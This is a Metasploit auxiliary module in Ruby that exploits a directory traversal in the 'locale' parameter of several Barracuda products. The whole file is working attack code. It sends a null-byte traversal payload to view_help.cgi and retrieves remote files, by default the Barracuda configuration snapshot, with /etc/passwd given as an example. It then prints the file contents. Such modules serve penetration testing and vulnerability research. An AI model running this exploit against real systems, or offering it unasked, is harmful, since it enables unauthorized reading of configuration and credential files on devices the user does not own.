Barracuda Multiple Product Locale Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability present in  
several Barracuda products, including the Barracuda Spam and Virus Firewall,  
Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,  
this module will attempt to download the Barracuda configuration file.  
},  
'References' =>  
[  
['OSVDB', '68301'],  
['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],  
['EDB', '15130']  
],  
'Author' =>  
[  
'Tiago Ferreira <tiago.ccna[at]gmail.com>'  
],  
'DisclosureDate' => 'Oct 08 2010',  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(8000),  
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),  
OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),  
])  
end  
  
def run_host(ip)  
uri = normalize_uri(target_uri.path)  
file = datastore['FILE']  
payload = "?locale=/../../../../../../..#{file}%00"  
  
print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")  
  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => uri + payload,  
}, 25)  
  
if res.nil?  
print_error("#{full_uri} - Connection timed out")  
return  
end  
  
if (res.code == 200 and res.body)  
if res.body.match(/\<html\>(.*)\<\/html\>/im)  
html = $1  
  
if res.body =~ /barracuda\.css/  
if html.length > 100  
file_data = html.gsub(%r{</?[^>]+?>}, '')  
  
print_good("#{full_uri} - Barracuda - Vulnerable")  
print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")  
else  
print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")  
end  
elsif res.body =~ /help_page/  
print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")  
else  
print_error("#{full_uri} - Barracuda - File not found or permission denied")  
end  
else  
print_error("#{full_uri} - Barracuda - No HTML was returned")  
end  
else  
print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
`